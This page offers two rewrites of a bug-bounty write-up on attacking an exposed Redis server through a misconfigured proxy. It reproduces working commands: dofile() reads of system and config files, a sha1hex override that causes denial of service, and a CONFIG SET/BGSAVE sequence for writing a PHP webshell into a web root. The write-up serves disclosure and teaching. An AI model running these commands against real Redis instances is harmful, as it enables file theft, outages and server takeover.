Skip to content
SSRF Write-up Intermediate

Trying to hack Redis via HTTP requests

The author explored attacking a Redis server exposed via HTTP through a misconfigured proxy or SSRF, using crafted HTTP requests to send Redis commands. They achieved file system enumeration, data theft, and denial of service, but remote code execution via writing a webshell failed because Redis sets restrictive file permissions.

Nicolas Grégoire Follow

Published on agarri.fr

Bounty$20,000 View original

Imagine than you can access a Redis server via HTTP requests. It could be because of a SSRF vulnerability or a misconfigured proxy.

Nicolas Grégoire (@Agarri_FR), on agarri.fr

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 10 min read.

Context

This write-up is about reaching a Redis server through HTTP requests. The scenario is one where an attacker can make HTTP requests that end up at a Redis instance, either because of a Server-Side Request Forgery (SSRF) vulnerability or because of a misconfigured proxy. In both cases, all that is needed is full control of at least one line of the request, which the author notes is pretty common in these scenarios.

The redis-cli client does not support HTTP proxying, so the commands have to be forged by hand, encapsulated in valid HTTP requests and sent through the proxy. Everything in the article was tested against Redis version 2.6.0. The author notes that it is old, but that is what the target was using.

Redis is a NoSQL database that stores everything in RAM as key/value pairs. By default, a text-oriented interface is reachable on TCP port 6379 without authentication. The interface is very forgiving and will try to parse every provided input until a timeout or the QUIT command. It may only quietly complain with messages such as -ERR unknown command.

Setup

The preconditions are:

  1. A way to send HTTP requests that reach a Redis server, such as an SSRF vulnerability or a misconfigured proxy.
  2. Control over at least one line of the request.
  3. In the author's case, the requests were nearly fully controlled by the author and then emitted via a Squid proxy. This means two constraints: the HTTP requests must be valid in order to be processed by the proxy, and the final requests reaching the Redis database may be somewhat normalised by the proxy.

The easy way to inject was to use the POST body, but injecting into HTTP headers was also a valid option.

Finding it

When exploiting an SSRF vulnerability or a misconfigured proxy, the first task is usually to scan for known services. As an attacker, the author looks for services bound to loopback only, using source-based authentication, or just plain insecure because they are not reachable from the outside. The author was quite happy to see these strings in the logs:

Text
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'

The HTTP verb GET is also a valid Redis command, but the number of arguments did not match. And given that no HTTP header matches an existing Redis command, there was a lot of unknown command error messages. These responses are what identified the service behind the proxy as Redis.

Exploitation

Basic interaction

With the requests controlled by the author and emitted via the Squid proxy, a few basic commands were sent. The responses show the expected data plus some strings like *2 and $7:

Text
ECHO HELLO
$5
HELLO

TIME
*2
$10
1410273409
$6
380112

CONFIG GET pidfile
*2
$7
pidfile
$18
/var/run/redis.pid

SET my_key my_value
+OK

GET my_key
$8
my_value

QUIT
+OK

The *2 and $7 strings are the binary-safe version of the Redis protocol. It is needed if you want to use a parameter including spaces. For example, the command SET my key "foo bar" will never work, with or without single or double quotes.

The binary-safe version is straightforward:

  1. Everything is separated with new lines (here CRLF).
  2. A command starts with * and the number of arguments (*1 plus CRLF).
  3. Then the arguments, one by one:
    • string: the $ character plus the string size ($4 plus CRLF) plus the string value (TIME plus CRLF)
    • integer: the : character plus the integer in ASCII (:42 plus CRLF)

Comparing the CLI client and netcat:

Bash
$ redis-cli -h [redacted] -p 6379 set with_space 'I am boring'
+OK
Bash
$ echo '*3\r\n$3\r\nSET\r\n$10\r\nwith_space\r\n$11\r\nI am boring\r\n' | nc -n -q 1 [redacted] 6379
+OK

Reconnaissance

A few Redis commands are helpful for reconnaissance, such as INFO and CONFIG GET (dir|dbfilename|logfile|pidfile). The output of INFO on the test machine was:

Text
# Server
redis_version:2.6.0
redis_git_sha1:00000000
redis_git_dirty:0
redis_mode:standalone
os:Linux 3.2.0-61-generic-pae i686
arch_bits:32
multiplexing_api:epoll
gcc_version:4.6.3
process_id:19114
run_id:[redacted]
tcp_port:6379
uptime_in_seconds:9806
uptime_in_days:0
lru_clock:518932

# Clients
connected_clients:1
client_longest_output_list:0
client_biggest_input_buf:1
blocked_clients:0

# Memory
used_memory:661768
[...]

The next step is the file system. Redis can execute Lua scripts in a sandbox via the EVAL command. The sandbox allows the dofile() command, which the author questions. It can be used to enumerate files and directories. No specific privilege is needed by Redis, so requesting /etc/shadow should give a permission denied error message:

Text
EVAL dofile('/etc/passwd') 0
-ERR Error running script (call to [redacted]): /etc/passwd:1: function arguments expected near ':'

EVAL dofile('/etc/shadow') 0
-ERR Error running script (call to [redacted]): cannot open /etc/shadow: Permission denied

EVAL dofile('/var/www/') 0
-ERR Error running script (call to [redacted]): cannot read /var/www/: Is a directory

EVAL dofile('/var/www/tmp_upload/') 0
-ERR Error running script (call to [redacted]): cannot open /var/www/tmp_upload/: No such file or directory

EVAL dofile('/home/ubuntu/.bashrc') 0
-ERR Error running script (call to [redacted]): /home/ubuntu/.bashrc:2: unexpected symbol near '#'

If the Lua script is syntactically invalid or attempts to set global variables, the error messages will leak some content of the target file:

Text
EVAL dofile('/etc/issue') 0
-ERR Error running script (call to [redacted]): /etc/issue:1: malformed number near '12.04.4'

EVAL dofile('/etc/lsb-release') 0
-ERR Error running script (call to [redacted]): /etc/lsb-release:1: Script attempted to access unexisting global variable 'Ubuntu'

EVAL dofile('/etc/hosts') 0
-ERR Error running script (call to [redacted]): /etc/hosts:1: malformed number near '[redacted]'

Another scenario, probably not very common, is calling dofile() on valid Lua files and returning the variables defined there. A hypothetical file /var/data/app/db.conf:

Text
db = {
   login  = 'john.doe',
   passwd = 'Uber31337',
}

And a small Lua script dumping the password:

Text
EVAL dofile('/var/data/app/db.conf');return(db.passwd); 0
+OK Uber31337

It works on some standard Unix files too:

Text
EVAL dofile('/etc/environment');return(PATH); 0
+OK /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games

EVAL dofile('/home/ubuntu/.selected_editor');return(SELECTED_EDITOR); 0
+OK /usr/bin/nano

CPU theft

Redis provides redis.sha1hex(), which can be called from Lua scripts. So SHA-1 cracking can be offloaded to open Redis servers. The author points to code by @adam_baldwin on GitHub and slides on Slideshare.

DoS

There are a lot of ways to DoS an open Redis instance, from deleting the data to calling the SHUTDOWN command. Two funny ones:

  1. Calling dofile() without any parameter will read a Lua script from STDIN, which is the Redis console. The server is still running but will not process new connections until ^D is hit in the console (or a restart).
  2. sha1hex() can be overwritten, not only for you but for every client. Using a static value is one of the options.

The Lua script:

Text
print(redis.sha1hex('secret'))
function redis.sha1hex (x)
   print('4242424242424242424242424242424242424242')
end
print(redis.sha1hex('secret'))

On the Redis console:

Text
# First run
[redacted]
4242424242424242424242424242424242424242

# Next runs
4242424242424242424242424242424242424242
4242424242424242424242424242424242424242

Data theft

If the Redis server happens to store interesting data (such as session cookies or business data), stored pairs can be enumerated using KEYS and their values read with GET.

Crypto

Lua scripts use fully predictable random numbers. The author points to evalGenericCommand() in scripting.c for details:

Text
    /* We want the same PRNG sequence at every call so that our PRNG is
     * not affected by external state. */
    redisSrand48(0);

Every Lua script calling math.random() will get the same stream of numbers:

Text
0.17082803611217
0.74990198051087
0.09637165539729
0.87046522734243
0.57730350670279
[...]

RCE

In order to get remote code execution on an open Redis server, three scenarios were considered.

The first one, proven but highly complex, is related to byte-code modification and abuse of the internal VM machine. The author says it is not their cup of tea, as they are not a binary person.

The second one is escaping the globals protection and trying to access interesting functions, like during a CTF-like Python escape. Escaping the globals protection is trivial and documented on StackOverflow. However, no interesting module is loaded at all, or the author's Lua skills are lacking (which they say is probable).

The third scenario is easy and realistic: dumping a semi-controlled file to disk, for example under the web root, and gaining RCE through a webshell, or overwriting a shell script. The only difference is the target filename and the payload, but the methodology is identical. The location of the log file cannot be modified after startup, so the only solution is the database file itself. The author notes that it should be surprising that a RAM-only database writes to disk. In fact, the database is copied to disk from time to time for recovery purposes. The backup occurs depending on the configured thresholds, or when the BGSAVE command is called.

The actions to take in order to drop a semi-controlled file are:

  1. Modify the location of the dump file:
Text
CONFIG SET dir /var/www/uploads/
CONFIG SET dbfilename sh.php
  1. Insert the payload in the database:
Text
SET payload "could be php or shell or whatever"
  1. Dump the database to disk:
Text
BGSAVE
  1. Restore everything:
Text
DEL payload
CONFIG SET dir /var/redis/
CONFIG SET dbfilename dump.rdb

And then it is a big FAIL. Redis sets the mode of the dump file to 0600 (aka -rw-------), so Apache will not be able to read it.

Root cause

The report attributes the exposure to a misconfigured proxy: the author's requests were emitted via a Squid proxy and reached the Redis instance. Redis itself, by default, exposes a text-oriented interface on TCP port 6379 without authentication, and it parses every input it receives until a timeout or QUIT. Because HTTP verbs and headers are just text, they are parsed as Redis commands, which is what produced the unknown command errors that identified the service.

The Lua sandbox in this version allowed dofile(), which allowed file and directory enumeration and error-message-based file content leaks. The dump file written by BGSAVE is created with mode 0600, which is what prevented the webshell scenario from working in this case.

Impact

Through the misconfigured proxy, an attacker could interact with the Redis instance: run commands, read configuration such as the pidfile location, enumerate files and directories via dofile(), leak file contents through Lua error messages, potentially read stored key/value data, offload SHA-1 cracking, and cause denial of service (including blocking new connections with dofile() without parameters, or overwriting sha1hex() for every client). Remote code execution was not achieved on this server: the dump-file-to-webshell path failed because the dump file is created with mode 0600, and the other two RCE scenarios were either highly complex or did not yield a usable module. The author notes that the Facebook security team awarded 20K$ for the misconfigured proxy, and that the Redis instance was running on noc.parse.com.

Fix

The report does not describe a specific fix applied to the target. The report does not state which of these was changed.

Variants to test

  1. Send an HTTP request through a suspected SSRF or proxy to port 6379 and look for -ERR unknown command 'Host:' or similar header-derived errors. A positive result identifies Redis behind the proxy.
  2. Send CONFIG GET dir, CONFIG GET dbfilename, CONFIG GET logfile and CONFIG GET pidfile to learn the file-system layout. A positive result returns the configured paths.
  3. Use EVAL dofile('/etc/passwd') 0 and similar paths to enumerate files. A positive result is a Lua error that reveals file existence, permissions or content.
  4. Use EVAL dofile('/path/to/config');return(somevar); 0 on valid Lua files. A positive result returns the variable value.
  5. Try the CONFIG SET dir / CONFIG SET dbfilename / SET payload / BGSAVE sequence against a web root. A positive result is a dump file readable by the web server; in this report the 0600 mode blocked it.
  6. Call dofile() without parameters to see whether the server stops accepting new connections. A positive result is a hang until ^D or restart.
  7. Overwrite redis.sha1hex with a Lua script and call it again. A positive result is the static value returned for every client.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 24 min read.

What happened, in plain words

A security researcher found that a Redis database could be reached through a misconfigured proxy, even though it was not meant to be exposed that way. The database was sitting behind a proxy, which is a piece of software that sits between you and the internet and forwards your requests for you. That proxy was misconfigured, so it happily passed the researcher's requests on to the database. The researcher could not run their own programs on the server, but they could enumerate files, leak file fragments through error messages, and potentially read stored data. Facebook paid 20,000 US dollars for the finding.

This article walks through the whole investigation from the beginning, assuming you have never done anything like this before. The command and response blocks below are copied from the researcher's notes.

Context

What Redis is

Redis is a database. A database is simply an organised place to keep data so that programs can find it again later. What makes Redis special is that it keeps everything in the computer's memory (RAM) rather than on a hard disk, which makes it very fast. It stores data as pairs: a name (the key) and the value attached to it. Think of it like a coat check: you hand over a ticket with a number (the key) and get back your coat (the value).

By default, Redis listens on a network port numbered 6379. A port is like a numbered door on a computer: different services wait behind different doors. Anyone who can reach that door can talk to Redis, because by default it asks for no password at all. It also has a very forgiving way of listening: it reads whatever text arrives and tries to interpret it as a command, until it times out or someone sends the command QUIT. If it does not understand something, it just replies with a short complaint such as -ERR unknown command.

The two ways in

The researcher describes two situations that let an outsider reach a Redis server that should be private:

  1. SSRF, which stands for Server-Side Request Forgery. This is a bug where a website can be made to send a request on your behalf, to an address you choose. Imagine a hotel concierge who will fetch anything you ask for, including things from staff-only rooms. If the website does not check where it is being told to fetch from, you can point it at internal services.
  2. A misconfigured proxy. A proxy is a middleman server that forwards requests. If it is set up badly, it will forward requests to places it should not, including internal database ports.

In both cases, the researcher says, all you need is full control of at least one line of the request. That is a low bar, and the researcher notes it is pretty common in these scenarios.

The normal tool for talking to Redis is a program called redis-cli. It does not know how to send its traffic through an HTTP proxy, so the researcher had to build the requests by hand: write valid HTTP requests, put the Redis commands inside them, and send them through the proxy.

Everything in the article was tested against Redis version 2.6.0. The researcher notes that this version is old, but that is what the target was using.

Setup

The preconditions for this attack were:

  1. A way to send HTTP requests that reach a Redis server, such as an SSRF vulnerability or a misconfigured proxy.
  2. Control over at least one line of the request.
  3. In the researcher's case, the requests were almost entirely under their control, and were then sent out through a Squid proxy. Squid is a well-known proxy program. This created two constraints: the HTTP requests had to be valid so the proxy would process them, and the proxy might normalise (tidy up or rewrite) the requests before they reached Redis.

The easiest place to inject commands was the POST body. A POST request is the kind a browser sends when you submit a form; the body is the part that carries the form data. Injecting into HTTP headers also worked. Headers are the extra lines of information a browser sends along with a request, such as which browser it is or what language it prefers.

Finding it

When you have an SSRF or a misconfigured proxy, the first job is to work out what services are listening behind it. The researcher was hunting for services bound to loopback only, using source-based authentication, or just plain insecure because they are not reachable from the outside.

The researcher was pleased to see these lines in the logs:

Text
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'

Line by line:

  • -ERR wrong number of arguments for 'get' command: the service received the word GET and tried to run it as a command. GET is a real Redis command (it fetches a value by key), but it was given the wrong number of arguments. The -ERR prefix is how Redis reports a problem.
  • -ERR unknown command 'Host:': the service received the text Host: and did not recognise it as a command. Host is a standard HTTP header that tells a server which website name you are asking for.
  • The remaining lines are the same story for other standard HTTP headers: Accept, Accept-Encoding, Via, Cache-Control and Connection. Redis did not recognise any of them.

Why this matters: the HTTP verb GET is also a valid Redis command, but the arguments did not match. And none of the HTTP headers match an existing Redis command, so each one produced an unknown command error. Those errors are the fingerprint that identified the service behind the proxy as Redis.

Exploitation

Basic interaction

With the requests under the researcher's control and sent through the Squid proxy, a few basic commands were sent. The responses show the expected data plus some extra strings such as *2 and $7:

Text
ECHO HELLO
$5
HELLO

TIME
*2
$10
1410273409
$6
380112

CONFIG GET pidfile
*2
$7
pidfile
$18
/var/run/redis.pid

SET my_key my_value
+OK

GET my_key
$8
my_value

QUIT
+OK

What each part does:

  • ECHO HELLO asks Redis to repeat the word back. The reply is $5 followed by HELLO. The $5 means "a string of 5 characters follows".
  • TIME asks for the server's current time. The reply is *2, meaning "an array of 2 items follows", then $10 and 1410273409 (the seconds), then $6 and 380112 (the microseconds).
  • CONFIG GET pidfile asks for a configuration setting called pidfile. A pidfile is a small file that records the process ID of a running program, so other software can find it. The reply is an array of 2 items: the setting name pidfile and its value /var/run/redis.pid.
  • SET my_key my_value stores a value under a key. The reply +OK means it worked.
  • GET my_key fetches it back. The reply is $8 and my_value.
  • QUIT closes the connection. The reply is +OK.

The *2 and $7 strings are the binary-safe version of the Redis protocol. "Binary-safe" means the format can carry any bytes, including spaces and line breaks, without confusion. This matters because a plain command like SET my key "foo bar" will never work, with or without single or double quotes: the space inside the value breaks the parsing. The binary-safe format solves that by stating the length of each piece up front.

The format is simple:

  1. Everything is separated by new lines, here CRLF (carriage return plus line feed, the pair of invisible characters that mark the end of a line in many network protocols).
  2. A command starts with * and the number of arguments, for example *1, followed by CRLF.
  3. Then the arguments come one by one:
    • For a string: the $ character, the string's size, then CRLF, then the string itself, then CRLF. For example $4 plus CRLF plus TIME plus CRLF.
    • For an integer: the : character, the number written in plain text, then CRLF. For example :42 plus CRLF.

Here is the same operation done two ways. First with the normal Redis client:

Bash
$ redis-cli -h [redacted] -p 6379 set with_space 'I am boring'
+OK
  • redis-cli is the official command-line client for Redis.
  • -h [redacted] says connect to the local machine ([redacted] is the address a computer uses to refer to itself).
  • -p 6379 says use port 6379.
  • set with_space 'I am boring' stores the value I am boring under the key with_space.
  • +OK is the confirmation.

Now the same thing by hand, using netcat, a small tool that sends raw text over a network connection:

Bash
$ echo '*3\r\n$3\r\nSET\r\n$10\r\nwith_space\r\n$11\r\nI am boring\r\n' | nc -n -q 1 [redacted] 6379
+OK
  • echo '...' prints the text inside the quotes. The \r\n sequences are the CRLF line endings written out explicitly.
  • *3 says three arguments follow.
  • $3 plus SET is the first argument: the command name, 3 characters long.
  • $10 plus with_space is the second argument: the key, 10 characters long.
  • $11 plus I am boring is the third argument: the value, 11 characters long.
  • The | symbol pipes the output of echo into the next command.
  • nc -n -q 1 [redacted] 6379 is netcat: -n means do not look up names, -q 1 means quit one second after the input ends, and the last two parts are the address and port.
  • +OK is Redis confirming the write.

This is the key trick: because the binary-safe format states lengths, you can send a value containing spaces, and Redis will read exactly the right number of characters.

Reconnaissance

Reconnaissance means gathering information about the target before doing anything else. A few Redis commands are useful here: INFO, which prints a summary of the server, and CONFIG GET for settings such as dir (the working directory), dbfilename (the name of the database dump file), logfile and pidfile.

Here is the output of INFO on the researcher's test machine:

Text
# Server
redis_version:2.6.0
redis_git_sha1:00000000
redis_git_dirty:0
redis_mode:standalone
os:Linux 3.2.0-61-generic-pae i686
arch_bits:32
multiplexing_api:epoll
gcc_version:4.6.3
process_id:19114
run_id:[redacted]
tcp_port:6379
uptime_in_seconds:9806
uptime_in_days:0
lru_clock:518932

# Clients
connected_clients:1
client_longest_output_list:0
client_biggest_input_buf:1
blocked_clients:0

# Memory
used_memory:661768
[...]

What the interesting lines tell you:

  • redis_version:2.6.0 is the exact version, which matters because behaviour differs between versions.
  • os:Linux 3.2.0-61-generic-pae i686 and arch_bits:32 describe the operating system and whether it is 32-bit or 64-bit.
  • process_id:19114 is the number the operating system uses to identify the running Redis process.
  • tcp_port:6379 confirms the port.
  • uptime_in_seconds:9806 and uptime_in_days:0 say how long it has been running.
  • connected_clients:1 says how many clients are connected.
  • used_memory:661768 is how much memory it is using.
  • The [...] means the output was cut short for the article.

Next, the file system. Redis can run small programs written in a language called Lua. Lua is a scripting language often embedded inside other programs so users can extend them. Redis runs these scripts inside a sandbox, which is a restricted environment meant to stop scripts from doing anything dangerous, like a playpen for code. The researcher found that this sandbox still allowed a Lua function called dofile(), which opens a file and runs its contents. The researcher's reaction, in the original, is to ask why on earth that was allowed.

dofile() can be used to find out which files and directories exist. No specific privilege is needed by Redis, so asking for /etc/shadow should produce a permission error:

Text
EVAL dofile('/etc/passwd') 0
-ERR Error running script (call to [redacted]): /etc/passwd:1: function arguments expected near ':'

EVAL dofile('/etc/shadow') 0
-ERR Error running script (call to [redacted]): cannot open /etc/shadow: Permission denied

EVAL dofile('/var/www/') 0
-ERR Error running script (call to [redacted]): cannot read /var/www/: Is a directory

EVAL dofile('/var/www/tmp_upload/') 0
-ERR Error running script (call to [redacted]): cannot open /var/www/tmp_upload/: No such file or directory

EVAL dofile('/home/ubuntu/.bashrc') 0
-ERR Error running script (call to [redacted]): /home/ubuntu/.bashrc:2: unexpected symbol near '#'

Line by line:

  • EVAL is the Redis command that runs a Lua script. The script goes first, and the 0 at the end says how many keys the script is given (here none).
  • dofile('/etc/passwd') tries to open and run the file /etc/passwd, which lists user accounts on Linux. The error says the file's first line contains a : where Lua expected something else. That tells you the file exists and is readable, and even hints at its content.
  • dofile('/etc/shadow') fails with Permission denied, which tells you the file exists but Redis is not allowed to read it. That is the expected result for a well-behaved system.
  • dofile('/var/www/') fails with Is a directory, which tells you /var/www/ exists and is a folder. /var/www/ is a common place for website files on Linux.
  • dofile('/var/www/tmp_upload/') fails with No such file or directory, which tells you that particular folder does not exist.
  • dofile('/home/ubuntu/.bashrc') fails with unexpected symbol near '#'. .bashrc is a configuration file for the command-line shell, and # starts a comment in it, which Lua does not understand. Again, the file exists and is readable.

Each error message is a small leak: it tells you whether a file exists, whether it is a file or a folder, and whether it can be read. That is enough to map out a server.

If the Lua script is not valid Lua, or tries to set a global variable (a variable visible everywhere in the program), the error message can leak part of the file's content:

Text
EVAL dofile('/etc/issue') 0
-ERR Error running script (call to [redacted]): /etc/issue:1: malformed number near '12.04.4'

EVAL dofile('/etc/lsb-release') 0
-ERR Error running script (call to [redacted]): /etc/lsb-release:1: Script attempted to access unexisting global variable 'Ubuntu'

EVAL dofile('/etc/hosts') 0
-ERR Error running script (call to [redacted]): /etc/hosts:1: malformed number near '[redacted]'
  • /etc/issue is a file that holds a short message shown before login. Lua complains about the number 12.04.4, quoting part of the file back to you. The error message quotes part of the file back to you.
  • /etc/lsb-release describes the Linux distribution. Lua treats the word Ubuntu as an attempt to use a variable that does not exist, and quotes it in the error.
  • /etc/hosts maps names to addresses on a local machine. Lua complains about a malformed number, quoting the address [redacted].

So even when a file cannot be run as a script, the error message can reveal a fragment of it.

Another scenario, probably not very common, is calling dofile() on a file that is valid Lua and then returning one of the variables it defines. Here is a hypothetical configuration file at /var/data/app/db.conf:

Text
db = {
   login  = 'john.doe',
   passwd = 'Uber31337',
}

This file defines a table (Lua's version of a dictionary) called db, with a login and a password inside. The researcher then runs a small Lua script that loads the file and returns the password:

Text
EVAL dofile('/var/data/app/db.conf');return(db.passwd); 0
+OK Uber31337
  • dofile('/var/data/app/db.conf') loads and runs the configuration file, which defines db.
  • ; separates the two statements.
  • return(db.passwd) hands back the value stored under passwd in that table.
  • +OK Uber31337 is the password coming back out.

The same trick works on some standard Unix files:

Text
EVAL dofile('/etc/environment');return(PATH); 0
+OK /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games

EVAL dofile('/home/ubuntu/.selected_editor');return(SELECTED_EDITOR); 0
+OK /usr/bin/nano
  • /etc/environment sets environment variables, which are named values that programs can read. PATH is the list of folders the system searches for programs. The script loads the file and returns PATH, revealing the folder list.
  • .selected_editor records which text editor the user picked. The script returns SELECTED_EDITOR, revealing /usr/bin/nano.

CPU theft

Redis provides a function called redis.sha1hex(), which can be called from Lua scripts. SHA-1 is a hashing algorithm: it turns any input into a fixed-length fingerprint, and it is designed to be one-way. Cracking a hash means guessing the original input until the fingerprint matches, which takes a lot of computing power. Because open Redis servers will run Lua, you can offload SHA-1 cracking to them. The researcher points to code by @adam_baldwin on GitHub and slides on Slideshare for this technique.

DoS

DoS stands for Denial of Service: making a service unusable for its real users. There are many ways to do this to an open Redis instance, from deleting the data to calling the SHUTDOWN command, which stops the server. The researcher highlights two amusing ones:

  1. Calling dofile() with no parameter makes Redis read a Lua script from standard input, which in this case is the Redis console itself. The server keeps running but stops processing new connections until someone presses ^D in the console or restarts it. Think of a shop assistant who starts reading a form that never ends, and stops serving customers in the meantime.
  2. sha1hex() can be overwritten, and not just for you: for every client. Setting it to always return a fixed value is one option.

The Lua script that does it:

Text
print(redis.sha1hex('secret'))
function redis.sha1hex (x)
   print('4242424242424242424242424242424242424242')
end
print(redis.sha1hex('secret'))
  • print(redis.sha1hex('secret')) computes the SHA-1 fingerprint of the word secret and prints it.
  • function redis.sha1hex (x) ... end replaces the built-in function with a new one that ignores its input x and always prints the same 40-character string of 4s.
  • The final print(redis.sha1hex('secret')) calls the replaced function, so it prints the fake value.

On the Redis console:

Text
# First run
[redacted]
4242424242424242424242424242424242424242

# Next runs
4242424242424242424242424242424242424242
4242424242424242424242424242424242424242
  • On the first run, the first line is the real SHA-1 of secret, and the second line is the fake value printed by the replaced function.
  • On later runs, both lines are the fake value, because the replacement persists for every client.

Data theft

If the Redis server happens to store interesting data, such as session cookies or business data, you can list the stored keys with KEYS and read each value with GET. A session cookie is a small piece of text a website gives your browser after you log in, so it can recognise you on the next request. If someone else gets that cookie, they can often act as you. Business data means exactly what it sounds like: the records the company cares about.

Crypto

Lua scripts in this version use fully predictable "random" numbers. Random numbers are used in security for things like generating passwords, tokens and encryption keys; if they can be predicted, those protections fall apart. The researcher points to evalGenericCommand() in scripting.c for the details:

Text
    /* We want the same PRNG sequence at every call so that our PRNG is
     * not affected by external state. */
    redisSrand48(0);
  • The comment explains the intent: the developers wanted the same sequence of pseudo-random numbers on every call, so that the generator is not affected by outside factors.
  • redisSrand48(0) seeds the generator with the fixed value 0. A seed is the starting point for a pseudo-random sequence. With a fixed seed, the sequence is the same every time.

As a result, every Lua script calling math.random() gets the same stream of numbers:

Text
0.17082803611217
0.74990198051087
0.09637165539729
0.87046522734243
0.57730350670279
[...]

Each line is the next number in the sequence. Anyone who knows the sequence can predict what a script will "randomly" produce.

RCE

RCE stands for Remote Code Execution: getting your own code to run on someone else's server. That is the big prize, because it usually means full control. The researcher considered three routes.

The first is proven but highly complex: it involves modifying byte-code (the low-level instructions a program runs) and abusing the internal virtual machine. The researcher says this is not their cup of tea, as they are not a binary person.

The second is escaping the globals protection and trying to reach interesting functions, similar to what people do in capture-the-flag competitions with Python. A capture-the-flag (CTF) is a practice security challenge. Escaping the globals protection is trivial and documented on StackOverflow, a well-known question-and-answer site for programmers. However, no interesting module was loaded at all, or the researcher's Lua skills were lacking, which they say is probable.

The third is easy and realistic: write a partly controlled file to disk, for example under the folder the website serves, and get code execution through a webshell. A webshell is a file you upload that, when opened in a browser, runs commands on the server. Alternatively, overwrite a shell script, which is a file of commands the system runs. The only difference between the two is the target filename and the payload; the method is identical.

One obstacle: the location of the log file cannot be changed after startup, so the only writable target is the database file itself. It may seem surprising that a database which lives in memory writes to disk at all. In fact, Redis copies the database to disk from time to time so it can recover after a restart. The copy happens according to configured thresholds, or when the BGSAVE command is called. BGSAVE means "save in the background".

The steps to drop a partly controlled file are:

  1. Change where the dump file goes:
Text
CONFIG SET dir /var/www/uploads/
CONFIG SET dbfilename sh.php
  • CONFIG SET dir /var/www/uploads/ changes the working directory Redis uses for its dump to the uploads folder of the website.
  • CONFIG SET dbfilename sh.php changes the dump file's name to sh.php. The .php ending matters because a web server will run a .php file as a program rather than show it as text.
  1. Put the payload into the database:
Text
SET payload "could be php or shell or whatever"
  • SET payload ... stores a value under the key payload. The value is whatever code you want to end up in the file.
  1. Write the database to disk:
Text
BGSAVE
  • BGSAVE makes Redis save its data to the dump file, which now sits in the website folder under the name sh.php.
  1. Put everything back as it was:
Text
DEL payload
CONFIG SET dir /var/redis/
CONFIG SET dbfilename dump.rdb
  • DEL payload removes the key you added.
  • CONFIG SET dir /var/redis/ restores the original working directory.
  • CONFIG SET dbfilename dump.rdb restores the original dump file name.

And then it is a big failure. Redis creates the dump file with permissions 0600, also written as -rw-------. File permissions are the rules that say who may read or write a file: the owner can read and write, and nobody else can do anything. Apache will not be able to read the file, so the webshell never runs.

Root cause

The exposure came from a misconfigured proxy: the Redis instance was reachable through it, and the proxy forwarded attacker-controlled HTTP requests to the Redis port. Redis itself, by default, offers a text interface on TCP port 6379 with no authentication, and it parses every input it receives until a timeout or QUIT. Because HTTP verbs and headers are just text, they were parsed as Redis commands, which is exactly what produced the unknown command errors that identified the service.

The Lua sandbox in this version allowed dofile(), which gave read access to the file system and leaked file contents through error messages. The dump file written by BGSAVE is created with mode 0600, which is what stopped the webshell route from working here.

Impact

Through the misconfigured proxy, an attacker could interact with the Redis instance: run commands, read configuration such as the pidfile location, list files and directories with dofile(), leak file contents through Lua error messages, read stored key/value data, offload SHA-1 cracking, and cause denial of service, including blocking new connections with dofile() without parameters or overwriting sha1hex() for every client. Remote code execution was not achieved on this server: the dump-file-to-webshell path failed because the dump file is created with mode 0600, and the other two RCE routes were either highly complex or did not yield a usable module. The Facebook security team awarded 20,000 US dollars for the misconfigured proxy, and the Redis instance was running on noc.parse.com.

Fix

The report does not describe a specific fix applied to the target. The measures implied by the findings are: do not expose Redis to untrusted networks or proxies, and restrict the Lua sandbox so that dofile() is not available. The report does not state which of these was changed.

Variants to test

  1. Send an HTTP request through a suspected SSRF or proxy to port 6379 and look for -ERR unknown command 'Host:' or similar header-derived errors. A positive result identifies Redis behind the proxy.
  2. Send CONFIG GET dir, CONFIG GET dbfilename, CONFIG GET logfile and CONFIG GET pidfile to learn the file-system layout. A positive result returns the configured paths.
  3. Use EVAL dofile('/etc/passwd') 0 and similar paths to list files. A positive result is a Lua error that reveals file existence, permissions or content.
  4. Use EVAL dofile('/path/to/config');return(somevar); 0 on valid Lua files. A positive result returns the variable value.
  5. Try the CONFIG SET dir / CONFIG SET dbfilename / SET payload / BGSAVE sequence against a web root. A positive result is a dump file readable by the web server; in this report the 0600 mode blocked it.
  6. Call dofile() without parameters to see whether the server stops accepting new connections. A positive result is a hang until ^D or a restart.
  7. Overwrite redis.sha1hex with a Lua script and call it again. A positive result is the static value returned for every client.

Glossary

  • API: a defined way for one program to ask another program to do something, like a menu of requests a service accepts.
  • Apache: a widely used web server program that delivers websites and runs .php files.
  • BGSAVE: a Redis command that saves the database to disk in the background.
  • Binary-safe: a data format that can carry any bytes, including spaces and line breaks, without confusion.
  • Byte-code: the low-level instructions a program runs after it has been translated from source code.
  • Capture the flag (CTF): a practice security competition where participants solve challenges to find hidden strings called flags.
  • CRLF: carriage return plus line feed, the pair of characters that marks the end of a line in many network protocols.
  • Denial of Service (DoS): making a service unusable for its real users.
  • dofile(): a Lua function that opens a file and runs its contents as a script.
  • Dump file: the file Redis writes its data to on disk for recovery.
  • Environment variable: a named value stored by the operating system that programs can read, such as PATH.
  • EVAL: the Redis command that runs a Lua script.
  • File permissions: the rules that say who may read, write or run a file; 0600 means only the owner can read and write.
  • GET: an HTTP verb used by browsers to fetch a page, and also a Redis command that fetches a value by key.
  • Global variable: a variable visible everywhere in a program, rather than only inside one function.
  • Hash / SHA-1: a one-way function that turns any input into a fixed-length fingerprint; SHA-1 is one such algorithm.
  • Header: an extra line of information sent with an HTTP request or response, such as Host or Accept.
  • HTTP: the protocol browsers and servers use to exchange web pages and data.
  • INFO: a Redis command that prints a summary of the server's state.
  • Key/value pair: a name and the value stored under it, the basic unit of data in Redis.
  • KEYS: a Redis command that lists stored keys.
  • Loopback: the internal address [redacted], which a computer uses to refer to itself.
  • Lua: a small scripting language often embedded in other programs so users can extend them.
